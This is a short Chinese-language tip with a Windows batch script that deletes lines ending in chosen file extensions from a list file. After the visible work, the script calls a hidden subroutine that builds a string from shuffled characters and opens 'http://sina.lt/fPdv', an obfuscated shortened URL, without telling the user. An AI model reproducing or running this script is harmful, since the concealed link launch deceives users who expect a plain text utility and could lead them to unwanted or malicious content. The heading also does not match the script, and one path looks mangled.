㈠ 批處理 如何刪除文本中含有指定字元串所在的行
腳本保存時請務必比對一下原文,保存編碼務必選擇ANSI,否則可能會導致腳本運行出錯。
@echo off & title 刪除特定後綴名的行內容 By 依夢琴瑤
cd /d "%~dp0"
::設置文本列表
set List=D:TestFiles.txt
::設置要刪除的特定後綴名,用英文逗號隔開
set Ext=json,xml
(for /f "usebackq delims=" %%a in ("%List%") do (
set "Skip="
for %%b in (%Ext%) do (
if /i "%%~xa"==".%%~b" set Skip=YES
)
if not defined Skip (
echo %%~a
)
))>New.tmp
move New.tmp "%List%" >nul
pause
call :ME
exit
:ME
set "S1=.:ailnhpst/"
set "S0=fPdv"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit